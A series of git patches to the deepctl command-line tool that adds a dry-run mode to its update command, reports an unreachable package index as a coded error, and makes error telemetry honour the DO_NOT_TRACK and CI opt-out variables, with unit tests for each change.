+        monkeypatch.delenv("PIPX_HOME", raising=False)
+        monkeypatch.delenv("DEEPCTL_LAUNCHER", raising=False)
+        monkeypatch.setattr(sys, "prefix", str(tmp_path / "venv"))
         assert _is_oneshot() is False
 
-    @patch.dict(
-        "os.environ",
-        {"UV_INTERNAL__PARENT_INTERPRETER": "/usr/bin/python3"},
-        clear=True,
-    )
-    def test_uvx_oneshot(self):
+    def test_uvx_oneshot(self, monkeypatch, tmp_path):
+        monkeypatch.setenv("UV_CACHE_DIR", str(tmp_path / "uvc"))
+        monkeypatch.setattr(sys, "prefix", str(tmp_path / "uvc" / "archive-v0" / "x"))
+        assert _is_oneshot() is True
+
+    def test_npx_oneshot(self, monkeypatch, tmp_path):
+        main = sys.modules.get("deepctl.main")
+        if main is not None:
+            monkeypatch.setattr(main, "LAUNCHER_CAPTURED", False, raising=False)
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", "npx")
+        monkeypatch.setattr(sys, "prefix", str(tmp_path / "venv"))
         assert _is_oneshot() is True
 
 
diff --git a/packages/deepctl-cmd-update/tests/unit/test_update_command.py b/packages/deepctl-cmd-update/tests/unit/test_update_command.py
index 8e9c8246..c6a2f406 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_update_command.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_update_command.py
@@ -587,3 +587,85 @@ def test_failed_version_check_exits_one(
         assert command.exit_code_for(result) == 1
         assert result.status == "error"
         assert "connection refused" in result.message
+
+
+class TestDryRun:
+    """`dg update --dry-run` reports the method and command, and nothing else."""
+
+    @pytest.mark.parametrize(
+        ("method", "expected"),
+        [
+            (InstallMethod.PIPX, "Run: pipx upgrade deepctl"),
+            (InstallMethod.UV_TOOL, "Run: uv tool install deepctl@latest"),
+            (InstallMethod.HOMEBREW, "Run: brew upgrade deepgram"),
+        ],
+    )
+    @patch("deepctl_cmd_update.command.VersionChecker")
+    @patch("deepctl_cmd_update.command.subprocess.run")
+    @patch("deepctl_cmd_update.command.InstallationDetector.detect")
+    def test_prints_the_command(
+        self, detect, run, checker, method, expected, capsys, monkeypatch
+    ):
+        from deepctl_core import output
+
+        monkeypatch.setitem(output._output_config, "format", "default")
+        monkeypatch.setitem(output._output_config, "quiet", False)
+        detect.return_value = InstallationInfo(
+            method=method,
+            path="/p",
+            virtual_env=True,
+            editable=False,
+            python_executable="/p/bin/python3",
+        )
+        config = MagicMock()
+        command = UpdateCommand()
+        result = command.handle(
+            config=config, auth_manager=MagicMock(), client=MagicMock(), dry_run=True
+        )
+        assert result["message"] == expected
+        assert result["installation_method"] == method.value
+        assert command.exit_code_for(result) == 0
+        out = capsys.readouterr().out
+        assert expected in out
+        assert f"Installation method: {method.value}" in out
+        checker.assert_not_called()
+        run.assert_not_called()
+        config.save.assert_not_called()
+        config._set_config_value.assert_not_called()
+
+    @patch("deepctl_cmd_update.command.InstallationDetector.detect")
+    def test_dry_run_leaves_the_config_byte_identical(
+        self, detect, tmp_path, monkeypatch
+    ):
+        config, path = _real_config(tmp_path, monkeypatch)
+        before = (path.read_bytes(), path.stat().st_mtime_ns)
+        detect.return_value = InstallationInfo(
+            method=InstallMethod.PIPX,
+            path="/p",
+            virtual_env=True,
+            editable=False,
+            python_executable="/p/bin/python3",
+        )
+        UpdateCommand().handle(
+            config=config, auth_manager=MagicMock(), client=MagicMock(), dry_run=True
+        )
+        assert (path.read_bytes(), path.stat().st_mtime_ns) == before
+
+
+    @patch("deepctl_cmd_update.command.InstallationDetector.detect")
+    def test_json_keeps_stdout_for_the_payload(self, detect, capsys, monkeypatch):
+        from deepctl_core import output
+
+        monkeypatch.setitem(output._output_config, "format", "json")
+        detect.return_value = InstallationInfo(
+            method=InstallMethod.PIPX,
+            path="/p",
+            virtual_env=True,
+            editable=False,
+            python_executable="/p/bin/python3",
+        )
+        result = UpdateCommand().handle(
+            config=MagicMock(), auth_manager=MagicMock(), client=MagicMock(), dry_run=True
+        )
+        assert result["message"] == "Run: pipx upgrade deepctl"
+        assert capsys.readouterr().out == ""
diff --git a/src/deepctl/_manifest.d/update.json b/src/deepctl/_manifest.d/update.json
index 5e98d438..f292ae7a 100644
--- a/src/deepctl/_manifest.d/update.json
+++ b/src/deepctl/_manifest.d/update.json
@@ -8,7 +8,7 @@
   "requires_auth": false,
   "help": {
     "name": "update",
-    "help": "Check for and install updates to deepctl\n\nExamples:\n  dg update\n  dg update --check-only\n\n\nFor agents, use --agent-friendly.",
+    "help": "Check for and install updates to deepctl\n\nExamples:\n  dg update\n  dg update --check-only\n  dg update --dry-run\n\n\nFor agents, use --agent-friendly.",
     "short_help": "Check for and install updates to deepctl",
     "epilog": null,
     "hidden": false,
@@ -59,6 +59,27 @@
         "hidden": false,
         "help": "Force update even if already up to date"
       },
+      {
+        "class": "option",
+        "name": "dry_run",
+        "opts": [
+          "--dry-run"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show how deepctl was installed and the command that updates it, without checking for or installing updates"
+      },
       {
         "class": "option",
         "name": "check_only",

From fc32cc3355f07ecf0d2ce3f25087a46281e51e15 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:16:36 -0500
Subject: [PATCH 36/88] fix(update): report an unreachable index as an error
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When neither PyPI nor, for Homebrew, the GitHub release answers,
dg update used to report the running version as the latest. It now
exits 1 with update_check_failed (E-UPDATE-CHECK, "Couldn't check for updates:
couldn't reach pypi.org.") through the coded error path. On
stderr, agent mode shows ERROR: and HINT: lines; human mode shows the
error after ✗, followed by the hint. Under -o json, stdout carries the
coded payload with details.host. The failed attempt is recorded in
the update cache file like any other.
---
 .../src/deepctl_cmd_update/command.py         | 18 +++++++++-
 .../src/deepctl_cmd_update/version_check.py   | 29 +++++++++------
 .../tests/unit/test_update_command.py         | 35 +++++++++++++++++++
 .../tests/unit/test_version_check.py          | 30 ++++++++++++++++
 .../src/deepctl_core/transport.py             | 15 ++++++++
 5 files changed, 116 insertions(+), 11 deletions(-)

diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
index 4ced9a69..b66df1da 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
@@ -20,7 +20,11 @@
 
 from .installation import InstallationDetector
 from .models import UpdateResult
-from .version_check import VersionChecker, format_version_message
+from .version_check import (
+    UpdateCheckError,
+    VersionChecker,
+    format_version_message,
+)
 
 
 # asyncio (and with it ssl) loads only when an update check runs, so
@@ -120,9 +124,12 @@ def handle(
         version_checker = VersionChecker(config, current_version)
 
         # Check for updates
+        unreachable: UpdateCheckError | None = None
         with console.status("Checking for updates..."):
             try:
                 version_info = asyncio.run(version_checker.check_version(force=True))
+            except UpdateCheckError as e:
+                unreachable = e
             except Exception as e:
                 print_error(f"Failed to check for updates: {e}")
                 # status="error" on the model, not a dict: see the docstring.
@@ -132,6 +139,15 @@ def handle(
                     success=False,
                     message=f"Failed to check for updates: {e}",
                 )
+        if unreachable is not None:
+            # Never "you're on the latest version": that's unknown. A coded
+            # error (update_check_failed, exit 1) with ERROR/HINT on stderr.
+            from deepctl_core.transport import TransportError
+
+            host = unreachable.host
+            raise TransportError(
+                "update_check_failed", values={"host": host}, details={"host": host}
+            )
 
         # Display version info
         message = format_version_message(version_info)
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
index f67e39ed..d46b9f43 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
@@ -16,6 +16,16 @@
 
 from . import check_cache
 
+PYPI_HOST = "pypi.org"
+
+
+class UpdateCheckError(Exception):
+    """No version source answered; ``host`` is the last one tried."""
+
+    def __init__(self, host: str) -> None:
+        self.host = host
+        super().__init__(f"couldn't reach {host}")
+
 
 class VersionInfo(BaseModel):
     """Version information from PyPI."""
@@ -83,6 +93,10 @@ async def check_version(
 
         Returns:
             Version information including update availability
+
+        Raises:
+            UpdateCheckError: no source answered (PyPI is the last one
+                tried). Never reported as "up to date".
         """
         # Check if we should skip based on cache
         if not force and not self.should_check():
@@ -102,16 +116,11 @@ async def check_version(
             self._cache_info(version_info)
             return version_info
 
-        check_cache.write(
-            check_cache.UPDATE_FILE, ok=False, latest=None, source=self._source
-        )
-
-        # On error, return current version with no update
-        return VersionInfo(
-            current_version=self.current_version,
-            latest_version=self.current_version,
-            update_available=False,
-        )
+        if check_cache.usable():
+            check_cache.write(
+                check_cache.UPDATE_FILE, ok=False, latest=None, source=self._source
+            )
+        raise UpdateCheckError(PYPI_HOST)
 
     async def _check_pypi(self) -> VersionInfo | None:
         """Fetch latest version from PyPI.
diff --git a/packages/deepctl-cmd-update/tests/unit/test_update_command.py b/packages/deepctl-cmd-update/tests/unit/test_update_command.py
index c6a2f406..924403a1 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_update_command.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_update_command.py
@@ -669,3 +669,38 @@ def test_json_keeps_stdout_for_the_payload(self, detect, capsys, monkeypatch):
         )
         assert result["message"] == "Run: pipx upgrade deepctl"
         assert capsys.readouterr().out == ""
+
+
+class TestUnreachableIndex:
+    @patch("deepctl_cmd_update.command.asyncio.run")
+    @patch("deepctl_cmd_update.command.VersionChecker")
+    def test_raises_update_check_failed(self, checker, run):
+        from deepctl_cmd_update.version_check import UpdateCheckError
+        from deepctl_core.transport import TransportError
+
+        run.side_effect = UpdateCheckError("pypi.org")
+        with pytest.raises(TransportError) as raised:
+            UpdateCommand().handle(
+                config=MagicMock(), auth_manager=MagicMock(), client=MagicMock()
+            )
+        err = raised.value
+        assert err.code == "update_check_failed"
+        assert err.details == {"host": "pypi.org"}
+        assert err.error == "Couldn't check for updates: couldn't reach pypi.org."
+
+    def test_renders_with_both_hints(self, monkeypatch):
+        from deepctl_core import output, transport
+
+        err = transport.TransportError(
+            "update_check_failed", values={"host": "pypi.org"}, details={"host": "pypi.org"}
+        )
+        monkeypatch.setitem(output._output_config, "agentic", False)
+        human = transport.render(err, command_path="update")
+        assert human.code == "update_check_failed"
+        assert human.hint.startswith("Check your network connection")
+        assert human.next_step is None
+        assert human.details == {"host": "pypi.org"}
+        monkeypatch.setitem(output._output_config, "agentic", True)
+        monkeypatch.setenv("AI_AGENT", "x")
+        agent = transport.render(err, command_path="update")
+        assert agent.hint.startswith("The update check needs network access")
diff --git a/packages/deepctl-cmd-update/tests/unit/test_version_check.py b/packages/deepctl-cmd-update/tests/unit/test_version_check.py
index bde34013..2954d988 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_version_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_version_check.py
@@ -383,3 +383,33 @@ def test_legacy_keys_read_when_no_cache_file(self):
         )
         info = VersionChecker(config, "1.0.0")._get_cached_info()
         assert info is not None and info.latest_version == "1.5.0"
+
+
+class TestUnreachable:
+    """No answer is an error, never "you are on the latest version"."""
+
+    @staticmethod
+    def _config():
+        config = MagicMock()
+        config.get.side_effect = lambda key, default=None: (
+            True if key == "update.check_enabled" else default
+        )
+        return config
+
+    @pytest.mark.asyncio
+    @pytest.mark.parametrize("install_method", [None, "homebrew"])
+    async def test_raises_and_records_the_failure(self, install_method):
+        from deepctl_cmd_update import check_cache
+        from deepctl_cmd_update.version_check import UpdateCheckError
+
+        client = AsyncMock()
+        client.get.side_effect = httpx.ConnectError("unreachable")
+        client.__aenter__ = AsyncMock(return_value=client)
+        client.__aexit__ = AsyncMock(return_value=None)
+        checker = VersionChecker(self._config(), "1.0.0")
+        with patch("httpx.AsyncClient", return_value=client):
+            with pytest.raises(UpdateCheckError) as raised:
+                await checker.check_version(force=True, install_method=install_method)
+        assert raised.value.host == "pypi.org"
+        state = check_cache.read(check_cache.UPDATE_FILE)
+        assert state is not None and state["ok"] is False
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index 20ae613c..6b4293f8 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -458,6 +458,15 @@ def sdk_client(self, api_key: str) -> Any:
         "Retry once after a few seconds. If it fails again, tell the user and "
         "include details.request_id."
     ),
+    # dg update: the package index didn't answer.
+    "E-UPDATE-CHECK": "Couldn't check for updates: couldn't reach {host}.",
+    "H-UPDATE-CHECK": (
+        "Check your network connection, or update {prog} through the tool you "
+        "installed it with."
+    ),
+    "A-UPDATE-CHECK": (
+        "The update check needs network access. Tell the user; don't retry in a loop."
+    ),
 }
 
 # code -> (error message ID, human hint, agent hint, automation hint or None)
@@ -492,6 +501,12 @@ def sdk_client(self, api_key: str) -> Any:
         None,
     ),
     "server_error": ("E-SERVER", "H-SERVER", "A-SERVER", None),
+    "update_check_failed": (
+        "E-UPDATE-CHECK",
+        "H-UPDATE-CHECK",
+        "A-UPDATE-CHECK",
+        None,
+    ),
 }
 
 # network_unavailable's other messages: the connection dropped after the

From a3c4a4a706bee2583a608c8bd631d9f4a2f1dfa0 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:16:27 -0500
Subject: [PATCH 37/88] feat(telemetry): honor DO_NOT_TRACK and CI

Error reports now also stay off when DO_NOT_TRACK or CI is set, with
the same rule as DEEPCTL_TELEMETRY_DISABLED: any non-empty value except
0, false, no or off. They are checked after the dg-specific switch, and
the help footer then reads "Telemetry is off.".

The README's opt-out list and the help footer name both. Both
variables join the root --help cache key, since the footer depends on
them.

Telemetry's own tests clear both variables, so they behave the same on
a CI runner.
---
 conftest.py                                   |   4 +
 docs/contracts/help-cache.md                  |   2 +-
 .../src/deepctl_telemetry/client.py           |  35 +++--
 .../src/deepctl_telemetry/notice.py           |   7 +-
 .../tests/golden/notice_on.txt                |   2 +-
 .../tests/unit/test_config_opt_out_caps.py    |   1 +
 .../tests/unit/test_contract.py               | 141 ++++++++++++++++++
 .../tests/unit/test_envelopes.py              |   1 +
 .../tests/unit/test_telemetry.py              |   3 +
 src/deepctl/_cache.py                         |   2 +
 tests/unit/test_cache.py                      |   5 +-
 tests/unit/test_telemetry_wiring.py           |   4 +-
 12 files changed, 189 insertions(+), 18 deletions(-)
 create mode 100644 packages/deepctl-telemetry/tests/unit/test_contract.py

diff --git a/conftest.py b/conftest.py
index 5ae8166f..b81ca5da 100644
--- a/conftest.py
+++ b/conftest.py
@@ -77,6 +77,10 @@ def _disable_telemetry(monkeypatch):
     """
     monkeypatch.setenv("DEEPCTL_TELEMETRY_DISABLED", "1")
     monkeypatch.setenv("DEEPCTL_TELEMETRY_DSN", "http://k@127.0.0.1:9/1")
+    # A developer's DO_NOT_TRACK must not change what telemetry's own tests
+    # see. (CI is cleared only by those tests:
+    # other suites read it as an automation signal.)
+    monkeypatch.delenv("DO_NOT_TRACK", raising=False)
 
 
 @pytest.fixture(autouse=True)
diff --git a/docs/contracts/help-cache.md b/docs/contracts/help-cache.md
index 830a8a8c..13764f35 100644
--- a/docs/contracts/help-cache.md
+++ b/docs/contracts/help-cache.md
@@ -77,7 +77,7 @@ The launcher serves an entry only when every one of the following holds. Anythin
 4. **Each name in `env`** has the same value in the launcher's environment, and `null` means the variable must be unset. On Windows, look the names up case-insensitively, as the OS does. A variable that isn't listed doesn't matter. `DEEPCTL_PROG_NAME` and `DEEPCTL_HELP_CACHE` are never listed: the launcher sets them, and `prog` already records the name.
 5. **`text_sha256`** (lowercase hex) equals the SHA-256 of the entry bytes the launcher read. This binds the text to its key: Python writes the text first and the key second, so text from another run under this key is a miss and is never served.
 
-A bundle install (`-I`, no user site, `HOME` is the real home) lists about 10 files and 18 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
+A bundle install (`-I`, no user site, `HOME` is the real home) lists about 10 files and 20 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
 
 **Paths and values that aren't valid Unicode.**
 - **Unix:** a path or environment value with bytes that don't decode under the filesystem encoding reaches Python as a lone surrogate (`\udcXX`).
diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
index af472401..24550578 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/client.py
@@ -39,8 +39,12 @@
 
 DSN_ENV_VAR = "DEEPCTL_TELEMETRY_DSN"
 DISABLE_ENV_VAR = "DEEPCTL_TELEMETRY_DISABLED"
+# Cross-tool opt-outs, honored like DEEPCTL_TELEMETRY_DISABLED: the
+# consoledonottrack.com convention, and the variable CI services set.
+DO_NOT_TRACK_ENV_VAR = "DO_NOT_TRACK"
+CI_ENV_VAR = "CI"
 
-# Values of DEEPCTL_TELEMETRY_DISABLED that leave telemetry on. Any other
+# Values of the opt-out variables that leave telemetry on. Any other
 # non-empty value turns it off.
 _ENV_KEEPS_ON = frozenset({"0", "false", "no", "off"})
 
@@ -55,10 +59,10 @@ def _fresh_state() -> dict[str, Any]:
     """Per-run state, stdlib types only.
 
     `opt_out` names the switch that turned telemetry off ("build", "dsn"
-    when there is no destination, "flag", "env" or "config"); `config_path`
-    is the user config file the decision was read from; `reported` is set
-    once a report starts, `sent` once an event has been handed to the
-    transport.
+    when there is no destination, "flag", "env", "do_not_track", "ci" or
+    "config"); `config_path` is the user config file the decision was read
+    from; `reported` is set once a report starts, `sent` once an event has
+    been handed to the transport.
     """
     return {
         "enabled": False,
@@ -81,11 +85,17 @@ def disable_for_run() -> None:
     _state["enabled"] = False
 
 
-def _env_opts_out() -> bool:
-    value = os.environ.get(DISABLE_ENV_VAR, "").strip().lower()
+def _env_set(name: str) -> bool:
+    """Whether the variable `name` turns telemetry off (any non-empty value
+    except the ones in _ENV_KEEPS_ON)."""
+    value = os.environ.get(name, "").strip().lower()
     return bool(value) and value not in _ENV_KEEPS_ON
 
 
+def _env_opts_out() -> bool:
+    return _env_set(DISABLE_ENV_VAR)
+
+
 # Keys whose repetition in a config file makes the telemetry setting
 # ambiguous; a file that repeats one counts as opted out.
 _TELEMETRY_KEYS = frozenset({"telemetry", "enabled", "telemetry.enabled"})
@@ -189,6 +199,10 @@ def _opt_out_source(config: Config) -> str | None:
         return "flag"
     if _env_opts_out():
         return "env"
+    if _env_set(DO_NOT_TRACK_ENV_VAR):
+        return "do_not_track"
+    if _env_set(CI_ENV_VAR):
+        return "ci"
     if _user_config_opts_out(config):
         return "config"
     return None
@@ -199,9 +213,10 @@ def is_enabled(config: Config) -> bool:
 
     Resolution order: the build switch, then whether there is a
     destination (a loopback DEEPCTL_TELEMETRY_DSN; without one telemetry is
-    off), then `--no-telemetry` for this run, then the env override
-    (DEEPCTL_TELEMETRY_DISABLED), then `telemetry.enabled` in the user's
-    config file (default on). The project's `deepgram.yaml` is never read.
+    off), then `--no-telemetry` for this run, then the env overrides
+    (DEEPCTL_TELEMETRY_DISABLED, DO_NOT_TRACK, CI), then `telemetry.enabled`
+    in the user's config file (default on). The project's `deepgram.yaml` is
+    never read.
     """
     return _opt_out_source(config) is None
 
diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py b/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py
index abba90cc..b4de4428 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/notice.py
@@ -16,12 +16,13 @@
 
 # Golden text, compared byte for byte with tests/golden/notice_*.txt.
 # NOTICE_ON shows only with a loopback DEEPCTL_TELEMETRY_DSN (tests and local
-# sinks). It names the three opt-outs that exist: the flag for one run, the env
-# var, and the config-file key.
+# sinks). It names every opt-out: the flag for one run, the env var, the
+# config-file key, and the cross-tool DO_NOT_TRACK and CI.
 NOTICE_ON = (
     "Telemetry is on: unexpected errors only, with no flag values, paths or "
     "keys. Turn off: --no-telemetry, DEEPCTL_TELEMETRY_DISABLED=1, or "
-    "telemetry.enabled: false in config.yaml."
+    "telemetry.enabled: false in config.yaml. DO_NOT_TRACK=1 and CI turn it "
+    "off too."
 )
 NOTICE_OFF = "Telemetry is off."
 # No destination (no loopback DEEPCTL_TELEMETRY_DSN), or the build switch is
diff --git a/packages/deepctl-telemetry/tests/golden/notice_on.txt b/packages/deepctl-telemetry/tests/golden/notice_on.txt
index b2fca74e..c2ead897 100644
--- a/packages/deepctl-telemetry/tests/golden/notice_on.txt
+++ b/packages/deepctl-telemetry/tests/golden/notice_on.txt
@@ -1 +1 @@
-Telemetry is on: unexpected errors only, with no flag values, paths or keys. Turn off: --no-telemetry, DEEPCTL_TELEMETRY_DISABLED=1, or telemetry.enabled: false in config.yaml.
+Telemetry is on: unexpected errors only, with no flag values, paths or keys. Turn off: --no-telemetry, DEEPCTL_TELEMETRY_DISABLED=1, or telemetry.enabled: false in config.yaml. DO_NOT_TRACK=1 and CI turn it off too.
diff --git a/packages/deepctl-telemetry/tests/unit/test_config_opt_out_caps.py b/packages/deepctl-telemetry/tests/unit/test_config_opt_out_caps.py
index 333a8acb..368adb7d 100644
--- a/packages/deepctl-telemetry/tests/unit/test_config_opt_out_caps.py
+++ b/packages/deepctl-telemetry/tests/unit/test_config_opt_out_caps.py
@@ -53,6 +53,7 @@ def _env(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> Path:
     """Telemetry on in this process (env switch cleared), no SDK to send
     with, no agent session; returns the default config path (absent)."""
     monkeypatch.delenv(client.DISABLE_ENV_VAR, raising=False)
+    monkeypatch.delenv(client.CI_ENV_VAR, raising=False)
     monkeypatch.setattr(client, "_state", client._fresh_state())
     monkeypatch.setitem(sys.modules, "sentry_sdk", None)
     monkeypatch.setattr(output, "is_ai_agent", lambda: False, raising=False)
diff --git a/packages/deepctl-telemetry/tests/unit/test_contract.py b/packages/deepctl-telemetry/tests/unit/test_contract.py
new file mode 100644
index 00000000..f37148e9
--- /dev/null
+++ b/packages/deepctl-telemetry/tests/unit/test_contract.py
@@ -0,0 +1,141 @@
+"""The telemetry runtime contract.
+
+Cross-tool opt-outs: DO_NOT_TRACK and CI. Reports go to a local sink on loopback, never further.
+"""
+
+from __future__ import annotations
+
+import sys
+import tempfile
+import threading
+from collections.abc import Iterator
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Any
+from unittest.mock import patch
+
+import pytest
+import sentry_sdk
+from deepctl_telemetry import client
+
+@pytest.fixture(autouse=True)
+def _env(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
+    """Telemetry on (every opt-out cleared), fresh state, no user config."""
+    for name in (
+        client.DISABLE_ENV_VAR,
+        client.DO_NOT_TRACK_ENV_VAR,
+        client.CI_ENV_VAR,
+    ):
+        monkeypatch.delenv(name, raising=False)
+    monkeypatch.setattr(client, "_state", client._fresh_state())
+    default = Path(tempfile.mkdtemp()) / "default-config.yaml"
+    monkeypatch.setattr(client, "_default_config_path", lambda: default)
+    saved = (sys.excepthook, threading.excepthook)
+    yield
+    sys.excepthook, threading.excepthook = saved
+    sentry_sdk.get_client().close()
+    sentry_sdk.get_global_scope().set_client(None)
+
+
+def _config() -> Any:
+    return SimpleNamespace(config_path=Path(tempfile.mkdtemp()) / "config.yaml")
+
+
+class _Sink:
+    """An HTTP server on loopback that counts the reports it receives."""
+
+    def __init__(self) -> None:
+        self.posts: list[str] = []
+        sink = self
+
+        class Handler(BaseHTTPRequestHandler):
+            def do_POST(self) -> None:
+                length = int(self.headers.get("Content-Length") or 0)
+                self.rfile.read(length)
+                sink.posts.append(self.path)
+                self.send_response(200)
+                self.end_headers()
+                self.wfile.write(b"{}")
+
+            def log_message(self, *args: Any) -> None:
+                pass
+
+        self.server = ThreadingHTTPServer(("127.0.0.1", 0), Handler)
+        self.port = self.server.server_address[1]
+        threading.Thread(target=self.server.serve_forever, daemon=True).start()
+
+    @property
+    def dsn(self) -> str:
+        return f"http://k@127.0.0.1:{self.port}/1"
+
+    def close(self) -> None:
+        self.server.shutdown()
+        self.server.server_close()
+
+
+@pytest.fixture
+def sink(monkeypatch: pytest.MonkeyPatch) -> Iterator[_Sink]:
+    server = _Sink()
+    monkeypatch.setenv(client.DSN_ENV_VAR, server.dsn)
+    yield server
+    server.close()
+
+
+def _fail() -> bool:
+    try:
+        raise RuntimeError("forced")
+    except RuntimeError as exc:
+        return client.report_exception(exc)
+
+
+class TestCrossToolOptOuts:
+    @pytest.mark.parametrize(
+        ("name", "value", "source"),
+        [
+            ("DO_NOT_TRACK", "1", "do_not_track"),
+            ("DO_NOT_TRACK", "true", "do_not_track"),
+            ("CI", "true", "ci"),
+            ("CI", "1", "ci"),
+            ("CI", "woodpecker", "ci"),
+        ],
+    )
+    def test_turns_it_off(
+        self, monkeypatch: pytest.MonkeyPatch, name: str, value: str, source: str
+    ) -> None:
+        monkeypatch.setenv(name, value)
+        assert client.init_telemetry(_config()) is False
+        assert client._state["opt_out"] == source
+
+    @pytest.mark.parametrize("name", ["DO_NOT_TRACK", "CI"])
+    @pytest.mark.parametrize("value", ["", "0", "false", "No", " off "])
+    def test_false_values_keep_it_on(
+        self, monkeypatch: pytest.MonkeyPatch, name: str, value: str
+    ) -> None:
+        monkeypatch.setenv(name, value)
+        assert client.init_telemetry(_config()) is True
+
+    def test_dg_switch_is_named_first(self, monkeypatch: pytest.MonkeyPatch) -> None:
+        monkeypatch.setenv("DEEPCTL_TELEMETRY_DISABLED", "1")
+        monkeypatch.setenv("DO_NOT_TRACK", "1")
+        monkeypatch.setenv("CI", "true")
+        client.init_telemetry(_config())
+        assert client._state["opt_out"] == "env"
+
+    @pytest.mark.parametrize("name", ["DO_NOT_TRACK", "CI"])
+    def test_forced_error_sends_nothing(
+        self, monkeypatch: pytest.MonkeyPatch, sink: _Sink, name: str
+    ) -> None:
+        monkeypatch.setenv(name, "1")
+        client.init_telemetry(_config())
+        with patch("sentry_sdk.init") as init:
+            assert _fail() is False
+        init.assert_not_called()
+        assert sink.posts == []
+
+    def test_sink_receives_a_report_without_them(self, sink: _Sink) -> None:
+        # Control: the same failure with no opt-out reaches the sink.
+        client.init_telemetry(_config())
+        assert _fail() is True
+        sentry_sdk.get_client().close(timeout=2)
+        assert len(sink.posts) == 1
diff --git a/packages/deepctl-telemetry/tests/unit/test_envelopes.py b/packages/deepctl-telemetry/tests/unit/test_envelopes.py
index 4a5fbb92..9437aa29 100644
--- a/packages/deepctl-telemetry/tests/unit/test_envelopes.py
+++ b/packages/deepctl-telemetry/tests/unit/test_envelopes.py
@@ -114,6 +114,7 @@ def init_with_capture(*args: Any, **kwargs: Any) -> Any:
     saved_thread_hook = threading.excepthook
     monkeypatch.setattr(sentry_sdk, "init", init_with_capture)
     monkeypatch.delenv(client.DISABLE_ENV_VAR, raising=False)
+    monkeypatch.delenv(client.CI_ENV_VAR, raising=False)
     monkeypatch.setenv(client.DSN_ENV_VAR, "http://public@127.0.0.1:9/1")
     monkeypatch.setattr(sys, "argv", list(ARGV))
     monkeypatch.setattr(client, "_state", client._fresh_state())
diff --git a/packages/deepctl-telemetry/tests/unit/test_telemetry.py b/packages/deepctl-telemetry/tests/unit/test_telemetry.py
index f0f6f0d5..0477a1d4 100644
--- a/packages/deepctl-telemetry/tests/unit/test_telemetry.py
+++ b/packages/deepctl-telemetry/tests/unit/test_telemetry.py
@@ -37,6 +37,7 @@ def _telemetry_env(monkeypatch: pytest.MonkeyPatch, fresh_state: Any) -> None:
     the rest of the process.
     """
     monkeypatch.delenv(DISABLE_ENV_VAR, raising=False)
+    monkeypatch.delenv("CI", raising=False)
     # The default user config file: absent unless a test writes it.
     default = Path(tempfile.mkdtemp()) / "default-config.yaml"
     monkeypatch.setattr(fresh_state, "_default_config_path", lambda: default)
@@ -281,6 +282,8 @@ def test_on_message_names_existing_opt_outs(self) -> None:
         assert "--no-telemetry" in notice
         assert "DEEPCTL_TELEMETRY_DISABLED=1" in notice
         assert "telemetry.enabled: false" in notice
+        assert "DO_NOT_TRACK=1" in notice
+        assert "CI" in notice
         assert "dg config" not in notice
 
     def test_off_message_matches_golden(self) -> None:
diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
index 8ff9f4cc..2f5191f4 100644
--- a/src/deepctl/_cache.py
+++ b/src/deepctl/_cache.py
@@ -52,6 +52,8 @@
     "FORCE_COLOR",
     "DEEPGRAM_OUTPUT_COLOR",
     "DEEPCTL_TELEMETRY_DISABLED",
+    "DO_NOT_TRACK",
+    "CI",
     "DEEPCTL_EAGER_LOAD",
     "XDG_CONFIG_HOME",
     "HOME",
diff --git a/tests/unit/test_cache.py b/tests/unit/test_cache.py
index 04786739..2eefbc4d 100644
--- a/tests/unit/test_cache.py
+++ b/tests/unit/test_cache.py
@@ -134,7 +134,8 @@ def test_clean_run_writes_a_private_entry_under_the_real_home(
         assert recorded["prog"] == "dg" and recorded["isatty"] is False
         assert not any("deepgram.yaml" in f["path"] for f in recorded["files"])
         assert not any("cwd_relative" in f for f in recorded["files"])
-        assert "DEEPCTL_TELEMETRY_DISABLED" in recorded["env"]
